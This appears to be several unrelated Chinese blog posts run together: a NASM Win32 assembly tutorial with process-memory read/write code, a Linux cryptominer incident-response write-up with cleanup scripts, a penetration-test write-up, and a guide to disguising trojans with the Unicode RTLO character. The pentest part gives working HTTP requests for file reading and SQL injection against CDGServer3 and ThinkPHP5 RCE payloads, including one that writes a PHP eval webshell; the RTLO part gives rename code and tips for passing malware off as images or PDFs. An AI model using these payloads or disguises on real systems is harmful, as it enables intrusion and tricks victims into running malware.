; 获取数组元素的值 push eax ; 将元素值推入堆栈 push format ; 将格式化字符串推入堆栈 call _printf ; 调用 printf 函数来打印元素值 add esp, 8 ; 清理堆栈 inc esi ; 增加数组索引 jmp loop end_loop: ret ; 返回函数 section .data format db "%d ", 0 ; 格式化字符串，用于打印整数switch 语句extern _printf ; 引入 printf 函数 section .data value db 2 ; 定义 value 变量，初始值为 2 msg1 db "1", 0 ; 定义三个输出信息 msg2 db "2", 0 msg3 db "3", 0 section .text global _main _main: cmp byte [value], 1 je case_1 ; 比较 value 和 1 的值，如果相等，跳转到 case_1 标签处 cmp byte [value], 2 je case_2 ; 比较 value 和 2 的值，如果相等，跳转到 case_2 标签处 cmp byte [value], 3 ; 比较 value 和 3 的值，如果相等，跳转到 case_3 标签处 je case_3 ; 如果都不相等，跳转到 case_default 标签处 jmp case_default case_1: push msg1 ; 将 msg1 的地址压入栈中，并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_2: push msg2 ; 将 msg2 的地址压入栈中，并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_3: push msg3 ; 将 msg3 的地址压入栈中，并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_default: jmp end_switch ; 跳转到 end_switch 标签处 end_switch: mov eax, 0 ; 将返回值设为 0，保证程序正常退出 ret ; 返回上一级调用函数调用约定方法名采用这样的命名方式，就像 _GetStdHandle@4，是因为在 Win32 中，函数名称会经过编码（mangled 或 decorated）以符合特定的约定。这种约定是为了确保函数在编译后可以正确地对外提供和使用。Win32 使用的调用约定称为 __stdcall，它规定了函数在被调用时参数的传递方式、栈的清理方式等。根据 __stdcall 的规定，函数名前面会加上一个下划线（_），然后是函数名本身，后面紧跟着一个 at 符号（@），最后是参数列表中的字节数（以十进制表示）。Cdecl（C Declaration）参数从右向左入栈。调用者负责清理堆栈。支持可变参数。在多数 C 编译器和 Microsoft Windows、Linux 系统上广泛使用。Stdcall（Standard Call）参数从右向左入栈。被调用函数负责清理堆栈。常用于 Win32 API。Fastcall一部分参数通过寄存器传递，其余的参数从右向左入栈。被调用函数负责清理堆栈。具体实现可能因编译器和平台而异。HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId );函数参数是从右向左压入到堆栈的，那么第一个参数在汇编中就是 dwProcessId（进程id），以此类推压入完成进行调用。extern _OpenProcess@12 ; 设置调用API加@12，说明函数有3个参数都是 dword（4字节）。 section .data PROCESS_ALL_ACCESS equ 0x1F0FF section .text global _main _main: push dword 0 ; dwProcessId，进程 ID push dword 0 ; bInheritHandle，不继承句柄 push dword PROCESS_ALL_ACCESS ; dwDesiredAccess，使用标准读取权限 call _OpenProcess@12 ; @12 这么写会自动清空堆栈参数，无需写清除参数代码。以上是加了 @12 参数自动从堆栈清除的过程，可以发现当执行完 call 时堆栈参数自动被清除。标准用户输入 - scanfsection .data prompt db "Please enter a string: ", 0 format db "%s", 0 input db 255 dup(0) ; 申请长度为 255 字节内存字符串数组，初始值都为 0; section .text global _main extern _printf, _scanf, _puts _main: push ebp mov ebp, esp push dword prompt call _printf ; 输出提示信息 add esp, 4 ; 接收用户输入 push dword input push dword format call _scanf add esp, 8 push dword input call _puts ; 显示输入的字符串 add esp, 4 end: mov esp, ebp pop ebp ret调用系统命令 - systemsection .data cmd db 'cmd /c dir', 0 ; 存储 cmd 执行命令 section .text global _main extern _system _main: push ebp mov ebp, esp push dword cmd ; 压入参数到堆栈 call _system ; 调用 system add esp, 4 ; 清除参数 end: mov esp, ebp pop ebp ret调用弹窗 - MessageBoxAsection .data caption db "Hello", 0 message db "Welcome to the MessageBox!", 0 section .text global _main extern _MessageBoxA@16 _main: push 0 ; 确定：0 消息：48 警告：64 push caption push message push 0 ; NULL (HWND) call _MessageBoxA@16 ; 调用MessageBox函数显示消息框nasm -f win32 demo.asm -o test.obj ld -m i386pe -o test.exe test.obj -luser32 -lkernel32 // -luser32 -lkernel32 导入动态链接库终止进程 - TerminateProcesssection .data PROCESS_ALL_ACCESS equ 0x1F0FF section .text global _main extern _OpenProcess@12, _TerminateProcess@8, _printf _main: push dword 21108 ; dwProcessId，进程 ID push dword 0 ; bInheritHandle，不继承句柄 push dword PROCESS_ALL_ACCESS ; dwDesiredAccess，使用标准读取权限 call _OpenProcess@12 mov ebx, eax ; 将句柄保存到 EBX 中 push ebx ; 将句柄值压入堆栈 push format_str ; 格式化字符串 call _printf ; 调用 printf 函数 add esp, 8 push 0 push ebx call _TerminateProcess@8 ; 调用 TerminateProcess 函数 xor ebx, ebx ; 清空 EBX 寄存器 ret section .data format_str db "Handle value: %d", 0 ; 使用 %d 格式输出整数伪代码指令 - import再次提到，对于编译后一个 Win32 函数的名称如何被修饰或装饰这个问题，在这个级别上了解似乎要求过高了。毕竟所有的 C 程序员都可以愉快地写出 "ExitProcess"，而不是 "_ExitProcess@4"。很赞同这个说法，有的时候 下划线（_）加艾特（@）的确不是很好，所以可以借助下伪指令，这样就可以直接导入 Windows api 函数了，不需要再修改名称。Alink链接器这个 Alink 链接器上一次修改还是在 1999 年，真的是上古链接器了，估计作者也不更新了不过好在还可以用。Alink 下载 伪指令这些语法，必须生成 obj 然后用 alink 链接生成才行，对于 gcc 和 ld 都是会报错的导致编译不成功，就像以下这样：简单调用 printfextern printf import printf msvcrt.dll section .data msg db "hey Actdream!", 0 section .text use32 ..start: push msg call [printf] add esp, 4 ret输出 Hello, World！extern ExitProcess ; 声明 ExitProcess 外部函数。 import ExitProcess kernel32.dll ; 引入 ExitProcess 函数在 kernel32.dll 动态链接库里。 extern GetStdHandle import GetStdHandle kernel32.dll extern WriteFile import WriteFile kernel32.dll segment .data use32 ; 定义 32 位数据段，用来存储程序中使用的数据。 Text db "Hello, World!",0 ; 在数据段里定义了一个以空字符结尾的字符串 "Hello, World!"。 segment .code use32 ; 定义一个 32 位代码段，在这里定义了程序的主要逻辑。 ..start: ; 定义一个程序入口点标签 push -11 ; 把参数 -11 压入栈中 call [GetStdHandle] ; 调用 GetStdHandle 函数，并将返回值存储在 EAX 寄存器里 mov ebx, eax ; 把句柄存储在 EBX 寄存器里 push dword 0 ; 压入参数 0 lea eax, [ebp-4] ; 指向文本字符串的指针存储在 EAX 寄存器里 push eax ; 把 EAX 寄存器中的指针地址压入栈中 push (message_end - message) ; 把字符串的长度压入栈里（不包括结尾的空字符） push message ; 把字符串的起始地址压入栈里 push ebx ; 获取到的标准输出句柄压入栈中 call [WriteFile] ; 最后调用 WriteFile 函数，把字符串写入到标准输出。 push dword 0 ; 压入参数 0 call [ExitProcess] ; 调用 ExitProcess 函数，来终止程序的运行 hlt ; 暂停 CPU 的运行 message: ; 定义消息字符串的起始标签 db 'Hello, World!', 10 ; 在数据段里中定义了一个字符串 "Hello, World!"。 message_end: ; 定义消息字符串的结束标签/* ------ 参数说明 -fobj 指定输出格式为 obj 目标文件格式 -subsys console 指定生成的是控制台可执行文件 -oPE 指定输出文件格式 PE 可执行文件 ------ 编译命令 nasm -fobj main.asm alink -subsys console -oPE main.obj */调用弹窗 - MessageboxA[BITS 32] ; 声明代码为32位模式 extern ExitProcess import ExitProcess kernel32.dll ; 导入ExitProcess函数 extern MessageBoxA import MessageBoxA user32.dll ; 导入MessageBoxA函数 segment .data use32 Caption db 'From Assembly',0 ; 定义标题字符串 Text db "Hello, World",0 ; 定义消息字符串 segment .code use32 ..start: push dword 0 ; 参数0（消息框类型）压入栈中 push dword Caption ; 标题字符串的地址压入栈中 push dword Text ; 消息字符串的地址压入栈中 push dword 0 ; 参数0（父窗口句柄）压入栈中 call [MessageBoxA] ; 调用MessageBoxA函数显示消息框 push dword 0 ; 参数0（退出代码）压入栈中 call [ExitProcess] ; 调用ExitProcess函数终止程序的运行读进程内存数据BOOL WINAPI ReadProcessMemory( _In_ HANDLE hProcess, _In_ LPCVOID lpBaseAddress, _Out_ LPVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesRead );读内存要用到 ReadProcessMemory 系统提供的API函数。编译后只有一个 start 入口直接就是我们写的代码，很干净的一个程序只有 2.5 kb 大小。extern OpenProcess import OpenProcess kernel32.dll extern ReadProcessMemory import ReadProcessMemory kernel32.dll extern printf import printf msvcrt.dll extern CloseHandle import CloseHandle kernel32.dll %define PROCESS_ALL_ACCESS 0x1F0FF section .data processId dd 27676 desiredAccess dd PROCESS_ALL_ACCESS inheritHandle dd 0 lpBaseAddress dd 0x4a4610 nSize dd 128 lpNumberOfBytesRead dd 0 readSuccess db 'Read bytes: %d', 0 section .bss buffer resb 128 hProcess resd 1 section .text use32 ..start: push dword [processId] push dword [inheritHandle] push dword [desiredAccess] call [OpenProcess] ; 打开进程句柄 mov [hProcess], eax lea eax, [lpNumberOfBytesRead] push eax push dword [nSize] lea eax, [buffer] push eax push dword [lpBaseAddress] push dword [hProcess] call [ReadProcessMemory] ; 读内存数据 push dword [buffer] push readSuccess call [printf] ; 输出数据 add esp, 8 push dword [hProcess] call [CloseHandle] ; 关闭句柄 ret写进程内存数据BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );extern OpenProcess import OpenProcess kernel32.dll extern WriteProcessMemory import WriteProcessMemory kernel32.dll extern CloseHandle import CloseHandle kernel32.dll extern ExitProcess import ExitProcess kernel32.dll %define PROCESS_ALL_ACCESS 0x1F0FFF section .data processId dd 27676 desiredAccess dd PROCESS_ALL_ACCESS inheritHandle dd 0 lpBaseAddress dd 0x4a4610 nSize dd 4 writeValue dd 10 section .bss hProcess resd 1 bytesWritten resd 1 section .text use32 ..start: push dword [processId] push dword [inheritHandle] push dword [desiredAccess] call [OpenProcess] mov [hProcess], eax push 0 push dword [nSize] lea eax, [writeValue] push eax push dword [lpBaseAddress] push dword [hProcess] call [WriteProcessMemory] push dword [hProcess] call [CloseHandle] retGolink链接器Goasm 与 GoLink，都是由 Jeremy Gordon 开发，是用来与 GoAsm 配合使用的链接器。主要特点：轻量级高效：专为快速和高效的链接过程设计。兼容性：它可以链接其他汇编器（比如 NASM 或 FASM）还有某些 C/C++ 编译器生成的对象文件。格式的支持：GoLink 对 Windows PE 格式有良好的支持。用 NASM 原生语法，导入动态链接库函数不需要以下划线 _ 开头，比如以下：这里插一嘴：我推荐使用这个链接器，方便且轻巧。官网地址 | Golink 下载extern printf section .data msg db 'Hello, World!', 0 section .text global main main: push msg call printf add esp, 4 ret/* ------ 参数说明 /entry 指定入口函数 /console 指定为控制台程序 ------ 编译命令 nasm -f win32 main.asm -o main.obj golink /entry main main.obj msvcrt.dll /console */简单的窗口程序{collapse}{collapse-item label="NASM汇编代码" close}extern printf extern ExitProcess extern RegisterClassExA extern CreateWindowExA extern MessageBoxA extern GetModuleHandleA extern PeekMessageA extern TranslateMessage extern DispatchMessageA extern PostQuitMessage extern DefWindowProcA extern ShowWindow extern UpdateWindow extern GetStockObject extern BeginPaint extern EndPaint extern Rectangle extern Ellipse extern MoveToEx extern LineTo extern DrawTextA extern SetBkMode extern SetTextColor extern CreateSolidBrush extern CreatePen extern SelectObject extern DeleteObject extern LoadIconA extern LoadCursorA %define WS_OVERLAPPED 0x00000000 %define WS_POPUP 0x80000000 %define WS_CHILD 0x40000000 %define WS_MINIMIZE 0x20000000 %define WS_VISIBLE 0x10000000 %define WS_DISABLED 0x08000000 %define WS_CLIPSIBLINGS 0x04000000 %define WS_CLIPCHILDREN 0x02000000 %define WS_MAXIMIZE 0x01000000 %define WS_CAPTION 0x00C00000 %define WS_BORDER 0x00800000 %define WS_DLGFRAME 0x00400000 %define WS_VSCROLL 0x00200000 %define WS_HSCROLL 0x00100000 %define WS_SYSMENU 0x00080000 %define WS_THICKFRAME 0x00040000 %define WS_GROUP 0x00020000 %define WS_TABSTOP 0x00010000 %define WS_MINIMIZEBOX 0x00020000 %define WS_MAXIMIZEBOX 0x00010000 %define WS_TILED WS_OVERLAPPED %define WS_ICONIC WS_MINIMIZE %define WS_SIZEBOX WS_THICKFRAME %define WS_TILEDWINDOW WS_OVERLAPPEDWINDOW %define WS_OVERLAPPEDWINDOW (WS_OVERLAPPED | \ WS_CAPTION | \ WS_SYSMENU | \ WS_THICKFRAME | \ WS_MINIMIZEBOX | \ WS_MAXIMIZEBOX) %define PM_REMOVE 1h %define WM_QUIT 0x0012 %define WM_PAINT 0x000F %define WM_CLOSE 0x0010 %define CS_VREDRAW 0x0001 %define CS_HREDRAW 0x0002 %define CS_DBLCLKS 0x0008 %define CS_OWNDC 0x0020 %define CS_CLASSDC 0x0040 %define CS_PARENTDC 0x0080 %define CS_NOCLOSE 0x0200 %define CS_SAVEBITS 0x0800 %define CS_BYTEALIGNCLIENT 0x1000 %define CS_BYTEALIGNWINDOW 0x2000 %define CS_GLOBALCLASS 0x4000 %define IDI_APPLICATION 32512 %define IDC_ARROW 32512 section .text global START START: push 0 call GetModuleHandleA mov dword [Instance], eax mov dword[OurWindowclass], 48 mov dword[OurWindowclass+4], CS_OWNDC|CS_HREDRAW|CS_VREDRAW mov dword[OurWindowclass+8], WindowProc mov dword[OurWindowclass+12], 0 mov dword[OurWindowclass+16], 0 mov eax, dword[Instance] mov dword[OurWindowclass+20], eax push IDI_APPLICATION push 0 call LoadIconA mov dword[OurWindowclass+24], eax push IDI_APPLICATION push 0 call LoadCursorA mov dword[OurWindowclass+28], eax mov dword[OurWindowclass+32], 5 mov dword[OurWindowclass+36], 0 mov dword[OurWindowclass+40], Windowclassname mov dword[OurWindowclass+44], 0 lea eax, [OurWindowclass] push eax call RegisterClassExA cmp eax, 0 jne Lcreate push 0 push Windowname push string_reg_failed push 0 call MessageBoxA jmp exit Lcreate: push 0 push dword[Instance] push 0 push 0 push 250 ; Height push 380 ; Width push 140 ; Top push 360 ; Left push WS_VISIBLE+WS_OVERLAPPEDWINDOW push Windowname push Windowclassname push 0 call CreateWindowExA mov dword[Windowhandle], eax push 1 push dword[Windowhandle] call ShowWindow push dword[Windowhandle] call UpdateWindow messloop: push PM_REMOVE push 0 push 0 push 0 push MessageBuffer call PeekMessageA cmp eax, 0 je nextloop cmp dword[MessageBuffer+4], WM_QUIT je exit push MessageBuffer call TranslateMessage push MessageBuffer call DispatchMessageA nextloop: jmp near messloop exit: push dword 0 call ExitProcess ret global WindowProc WindowProc: push ebp mov ebp, esp cmp dword[ebp+12], WM_CLOSE jne Ldefault push 0 call PostQuitMessage Ldefault: push dword[ebp+20] push dword[ebp+16] push dword[ebp+12] push dword[ebp+8] call DefWindowProcA mov esp, ebp pop ebp ret section .data Windowclassname db 'MyClass', 0 Windowname db 'My Window', 0 string_reg_failed db 'Failed to register main window', 0 Instance dd 0 Windowhandle dd 0 section .bss MessageBuffer resb 28 OurWindowclass resb 48{/collapse-item}{/collapse}/* ------ 编译命令 nasm -f win32 window.asm -o window.obj golink window.obj kernel32.dll user32.dll */隐藏DOS窗口/* ------ 参数说明 -subsystem windows 即可隐藏DOS窗口 ------ 编译命令 nasm -f win32 main.asm -o main.o ld main.o -o main.exe -lkernel32 -lmsvcrt -luser32 -subsystem windows */ 生成图标程序/* ------ 文件生成 创建文件 resource.rc 内容：IDI_ICON ICON "mu.ico" 内容写到里面 使用 windres 生成资源目标文件 打包资源命令：windres resource.rc resource.o ------ 编译命令 nasm -f win32 main.asm -o main.obj ld main.obj resource.o -o main.exe -lmsvcrt */添加UAC清单创建UAC清单文件：创建一个XML文件名为 nac.manifest 内容填写以下代码。<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly>创建资源文件：编写一个资源脚本文件名为： src.rc 用来引用清单文件，内容填写以下代码。#include "winuser.h" 1 RT_MANIFEST "nac.manifest" IDI_ICON ICON "00.ico"这里我添加了自定义图标在 src.rc 写了 IDI_ICON 当然不需要也可以去掉。/* ------ 文件生成 nasm -f win32 main.asm -o main.obj windres src.rc -O coff -o src.res ------ 编译命令 ld -o main.exe main.obj src.res -lkernel32 -luser32 -lmsvcrt */vmp加壳问题如果你尝试用 alink 进行链接生成程序，就会发现区段的命名方式，不以 . 开头，导致加壳的时候识别错误。而使用 ld、gcc、golink 进行连接就不会出现这种情况了，就能正常加壳了。调用第三方DLL这里我写了一个自定义的dll，里面就导出了一个 initGo 函数，功能是弹出一个弹窗。section .data dllName db "Bin32.dll", 0 functionName db "initGo", 0 section .text extern LoadLibraryA, GetProcAddress global main main: push dllName call LoadLibraryA mov ebx, eax ; DLL 句柄 push functionName push ebx call GetProcAddress mov esi, eax ; 函数指针 call esi ; 调用 initGo 函数 mov ebx, 0 ret/* ------ 编译命令 nasm -f win32 main.asm -o main.obj golink /entry main main.obj Bin32.dll Kernel32.dll /console */
简介初步处理，待更新...工具分享这里分享个几个应急响应工具， 这里我用 toybox ，来查找恶意程序，再分享一个排查工具 GScan。我把 toybox 这个工具上传到 /usr/bin 文件夹里，方便任意位置调用，它和 busybox 功能一样，那为什么不用 busybox？因为被恶意程序禁用掉了。检查项{collapse}{collapse-item label="排查内容" close}/etc/passwd /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /etc/anacrontab /var/spool/anacron/* /var/log/auth.log /var/log/syslog /var/log/messages /var/log/secure /var/log/audit/audit.log /var/log/boot.log /var/log/kern.log /var/log/httpd/ /var/log/mysql/ /var/log/dmesg /var/log/btmp /var/log/lastlog /var/log/wtmp /var/log/utmp{/collapse-item}{collapse-item label="排查命令" close}# 建议配合busybox或toybox来执行系统命令，避免文件被恶意程序劫持和替换。 top iftop ps -elf | grep <keyword> netstat -anop ss who -m awk -F: '($3==0)' /etc/passwd find / -name <keyword> cat ls{/collapse-item}{/collapse}查找异常tobybox top通过 toybox 定位到可疑进程占用大量CPU，重启后 gettexted 后缀会随机变化，它是挖矿的主程序。它有潜伏期现在是没挖矿状态，但后面跟着一堆可疑程序，通过计算哈希值提交给VT与微步，发现是有问题的。system.pubgettexted.psscn疑似多个命令文件被恶意程序给劫持，通过 ps、ls 发现并不能找到恶意程序，而用toybox来执行却能找到。review通过VT查找可以看到程序的可以行为，并编写了清除恶意程序的 bash 脚本。清除代码1#!/bin/bash processes=("gettexted.*" "postmaped.*" "matchpathcond.*" "postcated.*" "telinited.*" "devlinked.*") for process in "${processes[@]}"; do echo "$process" toybox pkill -f "$process" done # 清理文件 files=( "/etc/init.d/dns-udp4" "/etc/profile.d/gateway.sh" "/.mod" "/etc/.cfg" "/boot/system.pub" "/etc/profile.d/bash.cfg" "/lib/system.mark" "/usr/lib/libgdi.so.0.8.2" "/usr/sbin/netstat.cfg" "/etc/profile.d/bash.cfg.sh" ) cleanup_file() { local file="$1" toybox rm -rf "$file" toybox echo -n > "$file" toybox chmod 000 "$file" chattr +i "$file" } cleanup_files() { local files=("$@") for file in "${files[@]}"; do cleanup_file "$file" done } cleanup_files "${files[@]}" # 系统加固 toybox echo 32768 > /proc/sys/kernel/pid_max toybox echo 0 > /proc/sys/kernel/ns_last_pid toybox rm -rf /usr/bin/review toybox rm -rf /usr/bin/gettexted* toybox rm -rf /usr/bin/biosdecoded* toybox rm -rf /usr/bin/devlinked* toybox rm -rf /usr/bin/telinited* toybox rm -rf /usr/bin/postcated* toybox rm -rf /usr/bin/matchpathcond* toybox rm -rf /usr/bin/postmaped* toybox rm -rf /usr/bin/mldconfig systemctl enable kdump.service systemctl restart ssh清除代码2#!/bin/bash rm -rf /etc/init.d/dns-udp4 rm -rf /etc/profile.d/gateway.sh sed -i '/\/usr\/sbin\/netstat.cfe/d' /etc/rc.d/rc.local sed -i '/\*\/1 \* \* \* \* root \/\.mod/d' /etc/crontab sed -i '/\/lib\/system.mark/d' /etc/rc.d/init.d/network echo -n >/.mod echo -n > /etc/.cfg echo -n > /boot/system.pub echo -n > /etc/profile.d/bash.cfg echo -n > /lib/system.mark echo -n > /usr/lib/libedi.so.8.8.2 echo -n > /usr/sbin/netstat.cfg echo -n > /etc/profile.d/bash.cfg.sh echo -n > /etc/selinux/config echo -n > /dev/null rm -rf /etc/selinux/targeted/tmp/modules/100/ chmod 000 /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh chmod +i /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh ###替换被篡改的文件 ./toybox-x86_64 cp -f ./agetty /usr/bin/agetty ./toybox-x86_64 cp -f ./tty /usr/bin/tty ./toybox-x86_64 cp -f ./ssh /usr/bin/ssh ./toybox-x86_64 cp -f ./scp /usr/bin/scp ./toybox-x86_64 cp -f ./umount /usr/bin/umount sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sshd sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/su sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sudo if [ $? -eq 0 ]; then echo "命令执行成功。" else echo "命令执行失败。" fi待分析...
【技术分享】记一次内外网牛马渗透测试
Web渗透（外网）垂直越权可以发现前端登录存在两种模式，管理员与用户还有注册用户，这个时候我们可以先注册用户进去看看是什么样子的。这是我注册的普通用户，里面没有管理员权限的功能。这里我随便输入了一个错误的管理员账号密码，我的思路是先抓取我注册的用户，登录成功的响应包再进行替换错误的管理员返回的响应包，直接放行就能登录进去。这个是我注册的用户登录成功的响应包，这里进行复制保留，然后再登录错误的管理员账户，将我登录成功的响应数据替换到管理员响应包里即可。这样就进来了，在后台查询用户接口中其实还存在sql注入。SQL注入可以发现重发修改 sort=' 的时候直接爆出sql语句错误，说明这个参数存在sql注入。直接上sqlmap一把梭。未授权访问前端接口暴露，存在未经授权，可获取到大量个人敏感信息，包括个人姓名、手机号地址等等。访问将设置登录状态，http://xxx.xxx.xxx/permission/loginByOutside 再访问主页就登录成功了。亿赛通系统打一波ndayViewUploadFile任意文件读取GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:/Windows/System32/drivers/etc/hosts&uploadFileId=1&fileName1=hosts HTTP/1.1 Host: xxx.xxx.xxx Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=5BEE0014C9CD691F3177A3194EB06C3F Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflatecreate SmartSec信息泄露https://xxx.xxx.xxx/CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sqlUploadFileToCatalog SQL注入POST /CDGServer3/js/../policy/UploadFileToCatalog?fromurl=../user/dataSearch.jsp HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded ​ id=1FileFormatAjax SQL注入POST /CDGServer3/PerOrgServlet/../FileFormatAjax HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded ​ command=delFileFormat&fileFormatId=12SaveCDGPermissionFromGFOA SQL注入POST /CDGServer3/js/../SaveCDGPermissionFromGFOA HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded ​ fileId=1PolicyAjax 前台SQL注入POST /CDGServer3/dojojs/../PolicyAjax HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded ​ command=selectOption&id=1HookInvalidCourse SQL注入POST /CDGServer3/system/HookInvalidCourse;loginService HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded ​ command=DelHookInvalidCourse&id=1Web渗透（内网）资产收集开始工作，我用Goby对内网进行资产探测，网段比较大，例子也比较形象，就单个作为文章的记录了。弱口令逮到几个弱口令，内网中弱口令最多了，记得上次有10多个弱口令。。。Thinkphp5 RCE命令执行看图片识框架，这不是Thinkphp吗，果断用工具跑一遍payload。果不其然存在RCE命令执行，直接上payload看看。/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoam运气还不错，歪打正着，看看是个什么权限，是 system 耶，emm... 很棒！文件包含?s=index/\think\Lang/load&file=C:\windows\write.exe写入小马?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php eval($_POST['cmd']); > 1.php哈哈哈，直接写个shell用蚁剑连接上，好了点到为止。懒得哔哔 : )目录泄露没啥好说的，没啥用。。。
简介Unicode RTLO（Right-to-Left Override）是Unicode字符编码中的一种特殊字符，字符的作用是改变文本的文字流方向，可以使原本从左向右的文字流变为从右向左，我们可以通过这种办法伪装恶意可执行程序，这种办法会有小小的弊端自己发现吧。后缀伪装首先把文件扩展给勾上，方便我们看文件后缀，这里我做了个简单的 exe 程序做演示（可以是木马程序）。然后我们对程序 重命名，注意光标的位置是在 .exe 的前面，这个时候我们就可以插入特殊字符了。我们输入 gnp 也就是 png 的字母反转，重命名好后就可以了。你就会发现，变成了 png 图片格式了，而且还可以运行，再看看任务管理器，哈哈哈 是不是挺意外的进程中直接跑 png，其实有很多小例子，比如：exe 改 bat，改 dll 都是可以被执行的，在任务管理器中都可以看到的（这里就不过多演示了）。scr // 可以显示软件图标 com // 不能显示软件图标 bat cmd // 不能显示软件图标可以发现在内容中会有 exe 字样，是不是感觉很敏感，不怕不怕，以上是我收集到了一些可执行后缀（推荐 scr）。Go 实现package main import ( "fmt" "os" ) func main() { var oldfile string = "Panda.scr" var newfile string = "Panda\xe2\x80\xaegnp.scr" err := os.Rename(oldfile, newfile) if err != nil { fmt.Println("incorrect file naming.", err) } else { fmt.Println("Successful file renaming!") } }Python 实现import os oldfile = "Panda.scr" newfile = "Panda‮gnp.scr" try: os.rename(oldfile, newfile) print("Successful file renaming!") except OSError as err: print("Incorrect file naming.", err)利用总结1.利用这个办法伪装木马程序，如：pdf，zip，png 等文件后缀。2.利用压缩包自解压执行的功能，配合 RLO 实现压缩包执行伪装。Tips：内嵌一个执行，比如打开伪装的程序，程序运行后木马上线，那么再打开内置的 pdf文档，就不会被怀疑了。
【技术分享】工学云定位打卡工具 ( 去版本失效 )
